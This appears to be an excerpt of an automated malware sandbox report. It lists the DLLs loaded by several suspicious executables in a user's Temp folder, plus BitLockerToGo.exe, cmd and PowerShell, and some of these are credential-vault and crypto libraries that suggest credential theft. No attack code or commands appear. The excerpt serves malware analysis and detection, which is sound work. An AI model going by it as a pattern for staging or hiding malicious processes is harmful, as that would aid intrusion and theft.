Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1034725001\oavvDqT.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1034725001\oavvDqT.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1034725001\oavvDqT.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1034725001\oavvDqT.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1034761001\13Z5sqy.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: devenum.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: msdmo.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: mmdevapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Section loaded: avifil32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Section loaded: cryptui.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Section loaded: pstorec.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: windows.storage.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wldp.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winhttp.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: webio.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mswsock.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winnsi.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: sspicli.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dnsapi.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: schannel.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ntasn1.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ncrypt.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: msasn1.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptsp.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rsaenh.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptbase.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: gpapi.dll
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Section loaded: dbghelp.dll
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: pcacli.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: sfc_os.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: pcacli.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Section loaded: sfc_os.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
